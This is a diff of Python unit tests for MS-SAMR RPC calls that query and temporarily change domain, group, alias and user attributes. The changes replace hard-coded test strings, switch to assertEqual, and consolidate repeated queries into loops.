resp['Buffer']['Replication']['ReplicaSourceNodeName'] = self.test_string resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp['Buffer']) resp.dump() resp2 = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainReplicationInformation) resp2.dump() - self.assertTrue( 'BETUS' == resp2['Buffer']['Replication']['ReplicaSourceNodeName']) + self.assertEqual(self.test_string, resp2['Buffer']['Replication']['ReplicaSourceNodeName']) resp2['Buffer']['Replication']['ReplicaSourceNodeName'] = oldData resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp2['Buffer']) resp.dump() - resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation) - resp.dump() - - resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainStateInformation) - resp.dump() - - resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2) - resp.dump() - - resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation) - resp.dump() - - resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation2) - resp.dump() - def test_SamrQueryInformationGroup_SamrSetInformationGroup(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrOpenGroup() request['DomainHandle'] = domainHandle request['DesiredAccess'] = samr.GROUP_ALL_ACCESS @@ -1131,20 +835,17 @@ def test_SamrQueryInformationGroup_SamrSetInformationGroup(self): try: resp0 = dce.request(request) resp0.dump() - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0: raise request = samr.SamrQueryInformationGroup() request['GroupHandle'] = resp0['GroupHandle'] request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupGeneralInformation - #request.dump() resp = dce.request(request) resp.dump() ################################################################################ - request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupNameInformation - #request.dump() resp = dce.request(request) resp.dump() oldData = resp['Buffer']['Name']['Name'] @@ -1153,25 +854,22 @@ def test_SamrQueryInformationGroup_SamrSetInformationGroup(self): req['GroupHandle'] = resp0['GroupHandle'] req['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupNameInformation req['Buffer']['tag'] = samr.GROUP_INFORMATION_CLASS.GroupNameInformation - req['Buffer']['Name']['Name'] = 'BETUS' + req['Buffer']['Name']['Name'] = self.test_string resp = dce.request(req) resp.dump() request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupNameInformation - #request.dump() resp = dce.request(request) resp.dump() - self.assertTrue( 'BETUS' == resp['Buffer']['Name']['Name']) + self.assertEqual(self.test_string, resp['Buffer']['Name']['Name']) req['Buffer']['Name']['Name'] = oldData resp = dce.request(req) resp.dump() - ################################################################################ request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAttributeInformation - #request.dump() resp = dce.request(request) resp.dump() oldData = resp['Buffer']['Attribute']['Attributes'] @@ -1185,20 +883,16 @@ def test_SamrQueryInformationGroup_SamrSetInformationGroup(self): resp.dump() request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAttributeInformation - #request.dump() resp = dce.request(request) resp.dump() - - #self.assertTrue( 2 == resp['Buffer']['Attribute']['Attributes']) + #self.assertEqual(2, resp['Buffer']['Attribute']['Attributes']) req['Buffer']['Attribute']['Attributes'] = oldData resp = dce.request(req) resp.dump() - ################################################################################ request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAdminCommentInformation - #request.dump() resp = dce.request(request) resp.dump() @@ -1208,16 +902,15 @@ def test_SamrQueryInformationGroup_SamrSetInformationGroup(self): req['GroupHandle'] = resp0['GroupHandle'] req['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAdminCommentInformation req['Buffer']['tag'] = samr.GROUP_INFORMATION_CLASS.GroupAdminCommentInformation - req['Buffer']['AdminComment']['AdminComment'] = 'BETUS' + req['Buffer']['AdminComment']['AdminComment'] = self.test_string resp = dce.request(req) resp.dump() request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAdminCommentInformation - #request.dump() resp = dce.request(request) resp.dump() - self.assertTrue( 'BETUS' == resp['Buffer']['AdminComment']['AdminComment']) + self.assertEqual(self.test_string, resp['Buffer']['AdminComment']['AdminComment']) req['Buffer']['AdminComment']['AdminComment'] = oldData resp = dce.request(req) @@ -1225,47 +918,50 @@ def test_SamrQueryInformationGroup_SamrSetInformationGroup(self): ################################################################################ request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupReplicationInformation - #request.dump() resp = dce.request(request) resp.dump() def test_hSamrQueryInformationGroup_hSamrSetInformationGroup(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) + try: - resp0 = samr.hSamrOpenGroup(dce, domainHandle,samr.GROUP_ALL_ACCESS, samr.DOMAIN_GROUP_RID_USERS ) + resp0 = samr.hSamrOpenGroup(dce, domainHandle, samr.GROUP_ALL_ACCESS, samr.DOMAIN_GROUP_RID_USERS) resp0.dump() - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0: raise - resp = samr.hSamrQueryInformationGroup(dce, resp0['GroupHandle'],samr.GROUP_INFORMATION_CLASS.GroupGeneralInformation) + resp = samr.hSamrQueryInformationGroup(dce, resp0['GroupHandle'], samr.GROUP_INFORMATION_CLASS.GroupGeneralInformation) resp.dump() ################################################################################ - resp = samr.hSamrQueryInformationGroup(dce, resp0['GroupHandle'],samr.GROUP_INFORMATION_CLASS.GroupNameInformation) + resp = samr.hSamrQueryInformationGroup(dce, resp0['GroupHandle'], samr.GROUP_INFORMATION_CLASS.GroupNameInformation) resp.dump() oldData = resp['Buffer']['Name']['Name'] req = samr.SAMPR_GROUP_INFO_BUFFER() req['tag'] = samr.GROUP_INFORMATION_CLASS.GroupNameInformation - req['Name']['Name'] = 'BETUS' + req['Name']['Name'] = self.test_string resp = samr.hSamrSetInformationGroup(dce, resp0['GroupHandle'], req) resp.dump() resp = samr.hSamrQueryInformationGroup(dce, resp0['GroupHandle'],samr.GROUP_INFORMATION_CLASS.GroupNameInformation) resp.dump() - self.assertTrue( 'BETUS' == resp['Buffer']['Name']['Name']) + self.assertEqual(self.test_string, resp['Buffer']['Name']['Name']) req['Name']['Name'] = oldData resp = samr.hSamrSetInformationGroup(dce, resp0['GroupHandle'], req) resp.dump() def test_hSamrQueryInformationAlias_hSamrSetInformationAlias(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) + resp4 = samr.hSamrEnumerateAliasesInDomain(dce, domainHandle) resp4.dump() - resp0 = samr.hSamrOpenAlias(dce, domainHandle, aliasId = resp4['Buffer']['Buffer'][0]['RelativeId']) + resp0 = samr.hSamrOpenAlias(dce, domainHandle, aliasId=resp4['Buffer']['Buffer'][0]['RelativeId']) resp0.dump() resp = samr.hSamrQueryInformationAlias(dce, resp0['AliasHandle'], samr.ALIAS_INFORMATION_CLASS.AliasGeneralInformation) @@ -1278,30 +974,31 @@ def test_hSamrQueryInformationAlias_hSamrSetInformationAlias(self): req = samr.SAMPR_ALIAS_INFO_BUFFER() req['tag'] = samr.ALIAS_INFORMATION_CLASS.AliasNameInformation - req['Name']['Name'] = 'BETUS' + req['Name']['Name'] = self.test_string resp = samr.hSamrSetInformationAlias(dce, resp0['AliasHandle'], req) resp.dump() resp = samr.hSamrQueryInformationAlias(dce, resp0['AliasHandle'], samr.ALIAS_INFORMATION_CLASS.AliasNameInformation) resp.dump() - self.assertTrue( 'BETUS' == resp['Buffer']['Name']['Name']) + self.assertEqual(self.test_string, resp['Buffer']['Name']['Name']) req['Name']['Name'] = oldData resp = samr.hSamrSetInformationAlias(dce, resp0['AliasHandle'], req) resp.dump() def test_SamrQueryInformationAlias_SamrSetInformationAlias(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrEnumerateAliasesInDomain() request['DomainHandle'] = domainHandle - request['EnumerationContext'] = 0 + request['EnumerationContext'] = 0 request['PreferedMaximumLength'] = 500 status = nt_errors.STATUS_MORE_ENTRIES while status == nt_errors.STATUS_MORE_ENTRIES: try: resp4 = dce.request(request) - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise resp4 = e.get_packet() @@ -1312,7 +1009,7 @@ def test_SamrQueryInformationAlias_SamrSetInformationAlias(self): resp4.dump() request = samr.SamrOpenAlias() request['DomainHandle'] = domainHandle - request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED + request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED request['AliasId'] = resp4['Buffer']['Buffer'][0]['RelativeId'] resp0 = dce.request(request) resp0.dump() @@ -1320,13 +1017,11 @@ def test_SamrQueryInformationAlias_SamrSetInformationAlias(self): request = samr.SamrQueryInformationAlias() request['AliasHandle'] = resp0['AliasHandle'] request['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasGeneralInformation - #request.dump() resp = dce.request(request) resp.dump() ################################################################################ request['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasNameInformation - #request.dump() resp = dce.request(request) resp.dump() oldData = resp['Buffer']['Name']['Name'] @@ -1335,25 +1030,22 @@ def test_SamrQueryInformationAlias_SamrSetInformationAlias(self): req['AliasHandle'] = resp0['AliasHandle'] req['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasNameInformation req['Buffer']['tag'] = samr.ALIAS_INFORMATION_CLASS.AliasNameInformation - req['Buffer']['Name']['Name'] = 'BETUS' + req['Buffer']['Name']['Name'] = self.test_string resp = dce.request(req) resp.dump() request['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasNameInformation - #request.dump() resp = dce.request(request) resp.dump() - self.assertTrue( 'BETUS' == resp['Buffer']['Name']['Name']) + self.assertEqual(self.test_string, resp['Buffer']['Name']['Name']) req['Buffer']['Name']['Name'] = oldData resp = dce.request(req) resp.dump() - - ################################################################################ + ################################################################################ request['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasAdminCommentInformation - #request.dump() resp = dce.request(request) resp.dump() oldData = resp['Buffer']['AdminComment']['AdminComment'] @@ -1362,23 +1054,23 @@ def test_SamrQueryInformationAlias_SamrSetInformationAlias(self): req['AliasHandle'] = resp0['AliasHandle'] req['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasAdminCommentInformation req['Buffer']['tag'] = samr.ALIAS_INFORMATION_CLASS.AliasAdminCommentInformation - req['Buffer']['AdminComment']['AdminComment'] = 'BETUS' + req['Buffer']['AdminComment']['AdminComment'] = self.test_string resp = dce.request(req) resp.dump() request['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasAdminCommentInformation - #request.dump() resp = dce.request(request) resp.dump() - self.assertTrue( 'BETUS' == resp['Buffer']['AdminComment']['AdminComment']) + self.assertEqual(self.test_string, resp['Buffer']['AdminComment']['AdminComment']) req['Buffer']['AdminComment']['AdminComment'] = oldData resp = dce.request(req) resp.dump() def test_SamrQueryInformationUser2_SamrSetInformationUser2(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrOpenUser() request['DomainHandle'] = domainHandle #request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT | samr.USER_ALL_ACCESS | samr.USER_READ | samr.USER_READ_LOGON @@ -1386,9 +1078,9 @@ def test_SamrQueryInformationUser2_SamrSetInformationUser2(self): samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_WRITE_PREFERENCES | samr.USER_READ_LOGON \ | samr.USER_READ_ACCOUNT | samr.USER_WRITE_ACCOUNT | samr.USER_CHANGE_PASSWORD | samr.USER_FORCE_PASSWORD_CHANGE \ | samr.USER_LIST_GROUPS | samr.USER_READ_GROUP_INFORMATION | samr.USER_WRITE_GROUP_INFORMATION | samr.USER_ALL_ACCESS \ - | samr.USER_READ | samr.USER_WRITE | samr.USER_EXECUTE + | samr.USER_READ | samr.USER_WRITE | samr.USER_EXECUTE - + # Get the user handle for the domain admin user request['UserId'] = samr.DOMAIN_USER_RID_ADMIN resp = dce.request(request) resp.dump() @@ -1397,76 +1089,66 @@ def test_SamrQueryInformationUser2_SamrSetInformationUser2(self): request['UserHandle'] = resp['UserHandle'] userHandle = resp['UserHandle'] request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserGeneralInformation - #request.dump() resp = dce.request(request) resp.dump() - ################################################################################ + + # Set a new user comment and revert it back request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserPreferencesInformation - #request.dump() resp = dce.request(request) resp.dump() oldData = resp['Buffer']['Preferences']['UserComment'] - req = samr.SamrSetInformationUser2() - req['UserHandle'] = userHandle - req['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserPreferencesInformation - req['Buffer'] = resp['Buffer'] - req['Buffer']['Preferences']['UserComment'] = 'BETO' - resp = dce.request(req) + set_request = samr.SamrSetInformationUser2() + set_request['UserHandle'] = userHandle + set_request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserPreferencesInformation + set_request['Buffer'] = resp['Buffer'] + set_request['Buffer']['Preferences']['UserComment'] = self.test_string + resp = dce.request(set_request) resp.dump() resp = dce.request(request) resp.dump() - self.assertTrue( 'BETO' == resp['Buffer']['Preferences']['UserComment']) - - req['Buffer']['Preferences']['UserComment'] = oldData - resp = dce.request(req) - resp.dump() - - ################################################################################ - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserLogonInformation - #request.dump() - resp = dce.request(request) - resp.dump() + self.assertEqual(self.test_string, resp['Buffer']['Preferences']['UserComment']) - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserLogonHoursInformation - #request.dump() - resp = dce.request(request) + set_request['Buffer']['Preferences']['UserComment'] = oldData + resp = dce.request(set_request) resp.dump() - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAccountInformation - #request.dump() - resp = dce.request(request) - resp.dump() + # Get different user info classes + for user_info_class in [samr.USER_INFORMATION_CLASS.UserLogonInformation, + samr.USER_INFORMATION_CLASS.UserLogonHoursInformation, + samr.USER_INFORMATION_CLASS.UserAccountInformation, + ]: + request['UserInformationClass'] = user_info_class + resp = dce.request(request) + resp.dump() - ################################################################################ + # Set a new full name and revert it back request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserNameInformation - #request.dump() resp = dce.request(request) resp.dump() oldData = resp['Buffer']['Name']['FullName'] - req = samr.SamrSetInformationUser2() - req['UserHandle'] = userHandle - req['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserNameInformation - req['Buffer'] = resp['Buffer'] - req['Buffer']['Name']['FullName'] = 'BETO' - resp = dce.request(req) + set_request = samr.SamrSetInformationUser2() + set_request['UserHandle'] = userHandle + set_request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserNameInformation + set_request['Buffer'] = resp['Buffer'] + set_request['Buffer']['Name']['FullName'] = self.full_name_string + resp = dce.request(set_request) resp.dump() resp = dce.request(request) resp.dump() - self.assertTrue( 'BETO' == resp['Buffer']['Name']['FullName']) + self.assertEqual(self.full_name_string, resp['Buffer']['Name']['FullName']) - req['Buffer']['Name']['FullName'] = oldData - resp = dce.request(req) + set_request['Buffer']['Name']['FullName'] = oldData + resp = dce.request(set_request) resp.dump() - ################################################################################ + # Set a new username and revert it back request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAccountNameInformation - #request.dump() resp = dce.request(request) resp.dump() @@ -1476,244 +1158,159 @@ def test_SamrQueryInformationUser2_SamrSetInformationUser2(self): req['UserHandle'] = userHandle req['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAccountNameInformation req['Buffer'] = resp['Buffer'] - req['Buffer']['AccountName']['UserName'] = 'BETUS' + req['Buffer']['AccountName']['UserName'] = self.test_string resp = dce.request(req) resp.dump() resp = dce.request(request) resp.dump() - self.assertTrue( 'BETUS' == resp['Buffer']['AccountName']['UserName']) + self.assertEqual(self.test_string, resp['Buffer']['AccountName']['UserName']) req['Buffer']['AccountName']['UserName'] = oldData resp = dce.request(req) resp.dump() - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserFullNameInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserPrimaryGroupInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserHomeInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserScriptInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserProfileInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAdminCommentInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserWorkStationsInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserControlInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserExpiresInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserInternal1Information - #request.dump() - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_INVALID_INFO_CLASS') < 0: - raise - pass - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserParametersInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - ################################################################################ - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAllInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - ################################################################################ - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserInternal4Information - #request.dump() - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_INVALID_INFO_CLASS') < 0: - raise - pass - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserInternal5Information - #request.dump() - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_INVALID_INFO_CLASS') < 0: - raise - pass - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserInternal4InformationNew - #request.dump() - try: + # Get different user info classes + for user_info_class in [samr.USER_INFORMATION_CLASS.UserFullNameInformation, + samr.USER_INFORMATION_CLASS.UserPrimaryGroupInformation, + samr.USER_INFORMATION_CLASS.UserHomeInformation, + samr.USER_INFORMATION_CLASS.UserScriptInformation, + samr.USER_INFORMATION_CLASS.UserProfileInformation, + samr.USER_INFORMATION_CLASS.UserAdminCommentInformation, + samr.USER_INFORMATION_CLASS.UserWorkStationsInformation, + samr.USER_INFORMATION_CLASS.UserControlInformation, + samr.USER_INFORMATION_CLASS.UserExpiresInformation, + samr.USER_INFORMATION_CLASS.UserParametersInformation, + samr.USER_INFORMATION_CLASS.UserAllInformation, + ]: + request['UserInformationClass'] = user_info_class resp = dce.request(request) resp.dump() - except Exception as e: - if str(e).find('STATUS_INVALID_INFO_CLASS') < 0: - raise - pass - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserInternal5InformationNew - #request.dump() - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_INVALID_INFO_CLASS') < 0: - raise - pass + # Get different user info classes that are internal + for internal_user_info_class in [samr.USER_INFORMATION_CLASS.UserInternal1Information, + samr.USER_INFORMATION_CLASS.UserInternal4Information, + samr.USER_INFORMATION_CLASS.UserInternal5Information, + samr.USER_INFORMATION_CLASS.UserInternal4InformationNew, + samr.USER_INFORMATION_CLASS.UserInternal5InformationNew + ]: + request['UserInformationClass'] = internal_user_info_class + with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_INVALID_INFO_CLASS"): + dce.request(request) def test_hSamrQueryInformationUser2_hSamrSetInformationUser2(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) + + # Get the user handle for the domain admin user desiredAccess = \ samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_WRITE_PREFERENCES | samr.USER_READ_LOGON \ | samr.USER_READ_ACCOUNT | samr.USER_WRITE_ACCOUNT | samr.USER_CHANGE_PASSWORD | samr.USER_FORCE_PASSWORD_CHANGE \ | samr.USER_LIST_GROUPS | samr.USER_READ_GROUP_INFORMATION | samr.USER_WRITE_GROUP_INFORMATION | samr.USER_ALL_ACCESS \ - | samr.USER_READ | samr.USER_WRITE | samr.USER_EXECUTE + | samr.USER_READ | samr.USER_WRITE | samr.USER_EXECUTE resp = samr.hSamrOpenUser(dce, domainHandle, desiredAccess, samr.DOMAIN_USER_RID_ADMIN ) resp.dump() userHandle = resp['UserHandle'] - resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserGeneralInformation) + resp = samr.hSamrQueryInformationUser2(dce, userHandle, samr.USER_INFORMATION_CLASS.UserGeneralInformation) resp.dump() - ################################################################################ - resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserPreferencesInformation) + + # Set a new user comment and revert it back + resp = samr.hSamrQueryInformationUser2(dce, userHandle, samr.USER_INFORMATION_CLASS.UserPreferencesInformation) resp.dump() oldData = resp['Buffer']['Preferences']['UserComment'] - resp['Buffer']['Preferences']['UserComment'] = 'BETO' + resp['Buffer']['Preferences']['UserComment'] = self.test_string resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer']) resp.dump() - resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserPreferencesInformation) + resp = samr.hSamrQueryInformationUser2(dce, userHandle, samr.USER_INFORMATION_CLASS.UserPreferencesInformation) resp.dump() - self.assertTrue( 'BETO' == resp['Buffer']['Preferences']['UserComment']) + self.assertEqual(self.test_string, resp['Buffer']['Preferences']['UserComment']) resp['Buffer']['Preferences']['UserComment'] = oldData resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer']) resp.dump() - ################################################################################ - resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserLogonInformation) - resp.dump() - - resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserLogonHoursInformation) - resp.dump() - - resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserAccountInformation) - resp.dump() + # Get different user info classes + for user_info_class in [samr.USER_INFORMATION_CLASS.UserLogonInformation, + samr.USER_INFORMATION_CLASS.UserLogonHoursInformation, + samr.USER_INFORMATION_CLASS.UserAccountInformation, + ]: + samr.hSamrQueryInformationUser2(dce, userHandle, user_info_class) - ################################################################################ - resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserNameInformation) + # Set a new full name and revert it back + resp = samr.hSamrQueryInformationUser2(dce, userHandle, samr.USER_INFORMATION_CLASS.UserNameInformation) resp.dump() oldData = resp['Buffer']['Name']['FullName'] - resp['Buffer']['Name']['FullName'] = 'BETO' + resp['Buffer']['Name']['FullName'] = self.full_name_string resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer']) resp.dump() resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserNameInformation) resp.dump() - self.assertTrue( 'BETO' == resp['Buffer']['Name']['FullName']) + self.assertEqual(self.full_name_string, resp['Buffer']['Name']['FullName']) resp['Buffer']['Name']['FullName'] = oldData resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer']) resp.dump() - ################################################################################ - resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserAccountNameInformation) + # Set a new username and revert it back + resp = samr.hSamrQueryInformationUser2(dce, userHandle, samr.USER_INFORMATION_CLASS.UserAccountNameInformation) resp.dump() oldData = resp['Buffer']['AccountName']['UserName'] - resp['Buffer']['AccountName']['UserName'] = 'BETUS' + resp['Buffer']['AccountName']['UserName'] = self.test_string resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer']) resp.dump() - resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserAccountNameInformation) + resp = samr.hSamrQueryInformationUser2(dce, userHandle, samr.USER_INFORMATION_CLASS.UserAccountNameInformation) resp.dump() - self.assertTrue( 'BETUS' == resp['Buffer']['AccountName']['UserName']) + self.assertEqual(self.test_string, resp['Buffer']['AccountName']['UserName']) resp['Buffer']['AccountName']['UserName'] = oldData resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer']) resp.dump() - resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserFullNameInformation) - resp.dump() - - resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserPrimaryGroupInformation) - resp.dump() - - resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserHomeInformation) - resp.dump() - - resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserScriptInformation) - resp.dump() - - resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserProfileInformation) - resp.dump() - - resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserAdminCommentInformation) - resp.dump() - - resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserWorkStationsInformation) - resp.dump() - - resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserControlInformation) - resp.dump() - - resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserExpiresInformation) - resp.dump() - - resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserParametersInformation) - resp.dump() - - - ################################################################################ - resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserAllInformation) - resp.dump() + # Get different user info classes + for user_info_class in [samr.USER_INFORMATION_CLASS.UserFullNameInformation, + samr.USER_INFORMATION_CLASS.UserPrimaryGroupInformation, + samr.USER_INFORMATION_CLASS.UserHomeInformation, + samr.USER_INFORMATION_CLASS.UserScriptInformation, + samr.USER_INFORMATION_CLASS.UserProfileInformation, + samr.USER_INFORMATION_CLASS.UserAdminCommentInformation, + samr.USER_INFORMATION_CLASS.UserWorkStationsInformation, + samr.USER_INFORMATION_CLASS.UserControlInformation, + samr.USER_INFORMATION_CLASS.UserExpiresInformation, + samr.USER_INFORMATION_CLASS.UserParametersInformation, + samr.USER_INFORMATION_CLASS.UserAllInformation, + ]: + samr.hSamrQueryInformationUser2(dce, userHandle, user_info_class) + + # Get different user info classes that are internal + for internal_user_info_class in [samr.USER_INFORMATION_CLASS.UserInternal1Information, + samr.USER_INFORMATION_CLASS.UserInternal4Information, + samr.USER_INFORMATION_CLASS.UserInternal5Information, + samr.USER_INFORMATION_CLASS.UserInternal4InformationNew, + samr.USER_INFORMATION_CLASS.UserInternal5InformationNew + ]: + with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_INVALID_INFO_CLASS"): + samr.hSamrQueryInformationUser2(dce, userHandle, internal_user_info_class) def test_SamrQueryInformationUser_SamrSetInformationUser(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) + + # Get the user handle for the domain admin user request = samr.SamrOpenUser() request['DomainHandle'] = domainHandle - request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT | samr.USER_ALL_ACCESS | samr.USER_READ + request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT | samr.USER_ALL_ACCESS | samr.USER_READ request['UserId'] = samr.DOMAIN_USER_RID_ADMIN resp = dce.request(request) resp.dump() @@ -1723,13 +1320,11 @@ def test_SamrQueryInformationUser_SamrSetInformationUser(self): userHandle = resp['UserHandle'] request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserGeneralInformation - #request.dump() resp = dce.request(request) resp.dump() - ################################################################################ + # Set a new user comment and revert it back request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserPreferencesInformation - #request.dump() resp = dce.request(request) resp.dump() oldData = resp['Buffer']['Preferences']['UserComment'] @@ -1738,163 +1333,67 @@ def test_SamrQueryInformationUser_SamrSetInformationUser(self): req['UserHandle'] = userHandle req['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserPreferencesInformation req['Buffer'] = resp['Buffer'] - req['Buffer']['Preferences']['UserComment'] = 'BETO' + req['Buffer']['Preferences']['UserComment'] = self.test_string resp = dce.request(req) resp.dump() resp = dce.request(request) resp.dump() - self.assertTrue( 'BETO' == resp['Buffer']['Preferences']['UserComment']) + self.assertEqual(self.test_string, resp['Buffer']['Preferences']['UserComment']) req['Buffer']['Preferences']['UserComment'] = oldData 